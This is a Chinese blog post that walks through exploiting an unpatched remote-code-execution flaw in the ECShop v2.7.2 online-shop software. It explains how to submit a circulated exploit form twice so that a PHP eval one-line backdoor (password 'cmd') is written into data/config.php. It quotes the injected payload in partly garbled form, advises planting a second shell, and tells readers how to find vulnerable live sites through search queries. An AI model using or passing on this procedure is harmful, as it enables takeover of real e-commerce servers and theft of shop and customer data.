ECSHOP号称最大的开源网店系统,官方是这样介绍它的:“ECShop网店系统是一套免费开源的网上商店软件,无论在稳定性、代码优化、运行效率、负载能力、安全等级、功能可操控性和权限严密性等方面都居国内外同类产品领先地位。
按照我的理解,作为一款网店系统,系统的安全性应该摆在很重要的位置,但ECSHOP却好像漏洞不断。就在前几天,xhming大牛又公布了一个ECSHOP前台写shell的Oday,利用漏洞获得shell非常简单,可以说是秒杀。从官方下载的ECSHOP的最新版本也存在这个漏洞,官方还没有出相应的补丁或对软件进行升级修补这个漏洞。
ECSHOP出现新漏洞对我来说是件好事,因为又有拿shell的漏洞了,哈哈。也希望ECSHOP在漏洞挖掘者的鞭策下能把ECSHOP做的更安全,更优秀,毕竟网店系统涉及网络交易,不是闹着玩的。
一、漏洞简介
出现漏洞的文件是demo目录下的index.php,代码我就不贴出来了!
关于漏洞的详细介绍请看漏洞出处。
二、漏洞利用方法
具体的漏洞分析我也不会,直接来看怎么利用这个漏洞来获得shell。目前ECSHOP的最新版本为,我危险漫步从官方下载了GBK版本的ECShop_V2.7.2pGBK Release0604,在虚拟机的PHPP环境中把ECSHOP安装了起来。
在论坛的一篇文章中xhming给出了一个漏洞利用的EXP,是一个用于提交数据的html文件,两次提交后会自动打开demo/index.php,页面上会显示phpinfo,xhming说了,提
交内容可以随意,言下之意就是你可以自己构造提交内容直接获得shell而不是象征性的执行phpinfo()函数。但并不是每个人都会构造直接获得shell的提交内容,好在Mr.LP在xhming的EXP的基础上修改后给出了可以直接获得shell的EXP。
使用方法:
1.修改form中action的内容为需要网址。
2.提交表单一次。
3.连接一句话木马,密码为cmd。把上面代码保存为exp.html,直接打开发现有乱码。把“charset=utf-8”修改为“charset=gbk”后乱码问题解决了。
用记事本打开exp.html,把提交地址修改为我虚拟机中ECSHOP的提交地址,保存修改后打开exp.html,点“提交”按钮后显示的结果,会把php-句话木马写到data目录下的config.php文件中,用lanker-句话PHP后门客户端连接,密码cmd,发现php-句话木马不能用。
在页面按网页浏览器的后退按钮来到exp.html,点“提交”按钮再提交一次数据。提交完数据后再次用lanker-句话PHP后门客户端连接,这次获得了shell)。
原来要提交两次才能获得shell,这里要注意一下。
通过比较原来的data目录下的config.php和获得shell后的config.php,发现通过两次提交数据向config.php中写入了下面的数据:define('EC_LANGUAGEI',.);@eVal($一POST[cmd]);#');@eval($_POST[cmdl);#’);。建议用获得的shell上传另一个shell上去。然后去掉config.php中新写入的数据。
通过搜索“Powered by ECShop v2,7.2”等可能找到存在这个漏洞的网站。ecshop的前台写shell 0day危险漫步就给大家介绍到这里,自己有ECSHOP网站的朋友等官方出了这个漏洞的补丁后快打上吧,漏洞很严重。这个漏洞利用起来非常简单,只需要写上目标网站的地址点两次“提交”按钮就获得了shell,对存在这个漏洞的网站可以说是秒杀。希望在利用这个漏洞拿shell时不要对网站造成破坏,如果能知道出现这个漏洞的原因并且学习漏洞利用的方法和思路就更好了。